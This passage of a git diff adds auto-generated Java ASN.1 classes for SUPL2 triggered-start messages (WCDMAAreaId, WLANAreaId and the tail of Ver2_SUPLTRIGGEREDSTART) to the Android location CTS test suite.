+ @Override public boolean isExplicitlySet() {
+ return getApplicationID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApplicationID();
+ }
+
+ @Override public void setToNewInstance() {
+ setApplicationIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ApplicationID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "applicationID : "
+ + getApplicationID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getTriggerType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTriggerType();
+ }
+
+ @Override public void setToNewInstance() {
+ setTriggerTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TriggerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "triggerType : "
+ + getTriggerType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getTriggerParams() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTriggerParams();
+ }
+
+ @Override public void setToNewInstance() {
+ setTriggerParamsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TriggerParams.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "triggerParams : "
+ + getTriggerParams().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "position : "
+ + getPosition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportingCap() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportingCap();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportingCapToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCap.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportingCap : "
+ + getReportingCap().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getCauseCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCauseCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setCauseCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CauseCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "causeCode : "
+ + getCauseCode().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("Ver2_SUPLTRIGGEREDSTART = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
new file mode 100755
index 0000000..b530386
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WCDMAAreaId.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WCDMAAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WCDMAAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WCDMAAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WCDMAAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WCDMAAreaId != null) {
+ return ImmutableList.of(TAG_WCDMAAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WCDMAAreaId from encoded stream.
+ */
+ public static WCDMAAreaId fromPerUnaligned(byte[] encodedBytes) {
+ WCDMAAreaId result = new WCDMAAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WCDMAAreaId from encoded stream.
+ */
+ public static WCDMAAreaId fromPerAligned(byte[] encodedBytes) {
+ WCDMAAreaId result = new WCDMAAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WCDMAAreaId.refMCCType refMCC_;
+ public WCDMAAreaId.refMCCType getRefMCC() {
+ return refMCC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WCDMAAreaId.refMCCType
+ */
+ public void setRefMCC(Asn1Object value) {
+ this.refMCC_ = (WCDMAAreaId.refMCCType) value;
+ }
+ public WCDMAAreaId.refMCCType setRefMCCToNewInstance() {
+ refMCC_ = new WCDMAAreaId.refMCCType();
+ return refMCC_;
+ }
+
+ private WCDMAAreaId.refMNCType refMNC_;
+ public WCDMAAreaId.refMNCType getRefMNC() {
+ return refMNC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WCDMAAreaId.refMNCType
+ */
+ public void setRefMNC(Asn1Object value) {
+ this.refMNC_ = (WCDMAAreaId.refMNCType) value;
+ }
+ public WCDMAAreaId.refMNCType setRefMNCToNewInstance() {
+ refMNC_ = new WCDMAAreaId.refMNCType();
+ return refMNC_;
+ }
+
+ private WCDMAAreaId.refLACType refLAC_;
+ public WCDMAAreaId.refLACType getRefLAC() {
+ return refLAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WCDMAAreaId.refLACType
+ */
+ public void setRefLAC(Asn1Object value) {
+ this.refLAC_ = (WCDMAAreaId.refLACType) value;
+ }
+ public WCDMAAreaId.refLACType setRefLACToNewInstance() {
+ refLAC_ = new WCDMAAreaId.refLACType();
+ return refLAC_;
+ }
+
+ private WCDMAAreaId.refUCType refUC_;
+ public WCDMAAreaId.refUCType getRefUC() {
+ return refUC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WCDMAAreaId.refUCType
+ */
+ public void setRefUC(Asn1Object value) {
+ this.refUC_ = (WCDMAAreaId.refUCType) value;
+ }
+ public WCDMAAreaId.refUCType setRefUCToNewInstance() {
+ refUC_ = new WCDMAAreaId.refUCType();
+ return refUC_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMCC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMCC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMCCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WCDMAAreaId.refMCCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMCC : "
+ + getRefMCC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefMNC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefMNC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefMNCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WCDMAAreaId.refMNCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refMNC : "
+ + getRefMNC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefLAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefLAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefLACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WCDMAAreaId.refLACType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refLAC : "
+ + getRefLAC().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefUC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefUC();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefUCToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WCDMAAreaId.refUCType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refUC : "
+ + getRefUC().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMCCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMCCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMCCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMCCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMCCType != null) {
+ return ImmutableList.of(TAG_refMCCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerUnaligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMCCType from encoded stream.
+ */
+ public static refMCCType fromPerAligned(byte[] encodedBytes) {
+ refMCCType result = new refMCCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMCCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refMNCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refMNCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refMNCType() {
+ super();
+ setValueRange("0", "999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refMNCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refMNCType != null) {
+ return ImmutableList.of(TAG_refMNCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerUnaligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refMNCType from encoded stream.
+ */
+ public static refMNCType fromPerAligned(byte[] encodedBytes) {
+ refMNCType result = new refMNCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refMNCType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refLACType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refLACType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refLACType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refLACType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refLACType != null) {
+ return ImmutableList.of(TAG_refLACType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerUnaligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refLACType from encoded stream.
+ */
+ public static refLACType fromPerAligned(byte[] encodedBytes) {
+ refLACType result = new refLACType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refLACType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refUCType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refUCType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refUCType() {
+ super();
+ setValueRange("0", "268435455");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refUCType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refUCType != null) {
+ return ImmutableList.of(TAG_refUCType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refUCType from encoded stream.
+ */
+ public static refUCType fromPerUnaligned(byte[] encodedBytes) {
+ refUCType result = new refUCType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refUCType from encoded stream.
+ */
+ public static refUCType fromPerAligned(byte[] encodedBytes) {
+ refUCType result = new refUCType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refUCType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WCDMAAreaId = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java
new file mode 100755
index 0000000..595bd51
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_start/WLANAreaId.java
@@ -0,0 +1,307 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_start;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WLANAreaId extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WLANAreaId
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WLANAreaId() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WLANAreaId;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WLANAreaId != null) {
+ return ImmutableList.of(TAG_WLANAreaId);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WLANAreaId from encoded stream.
+ */
+ public static WLANAreaId fromPerUnaligned(byte[] encodedBytes) {
+ WLANAreaId result = new WLANAreaId();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WLANAreaId from encoded stream.
+ */
+ public static WLANAreaId fromPerAligned(byte[] encodedBytes) {
+ WLANAreaId result = new WLANAreaId();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WLANAreaId.apMACAddressType apMACAddress_;
+ public WLANAreaId.apMACAddressType getApMACAddress() {
+ return apMACAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WLANAreaId.apMACAddressType
+ */
+ public void setApMACAddress(Asn1Object value) {
+ this.apMACAddress_ = (WLANAreaId.apMACAddressType) value;
+ }
+ public WLANAreaId.apMACAddressType setApMACAddressToNewInstance() {
+ apMACAddress_ = new WLANAreaId.apMACAddressType();
+ return apMACAddress_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getApMACAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApMACAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setApMACAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WLANAreaId.apMACAddressType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apMACAddress : "
+ + getApMACAddress().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apMACAddressType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_apMACAddressType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apMACAddressType() {
+ super();
+ setMinSize(48);
+setMaxSize(48);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apMACAddressType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apMACAddressType != null) {
+ return ImmutableList.of(TAG_apMACAddressType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerUnaligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apMACAddressType from encoded stream.
+ */
+ public static apMACAddressType fromPerAligned(byte[] encodedBytes) {
+ apMACAddressType result = new apMACAddressType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apMACAddressType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
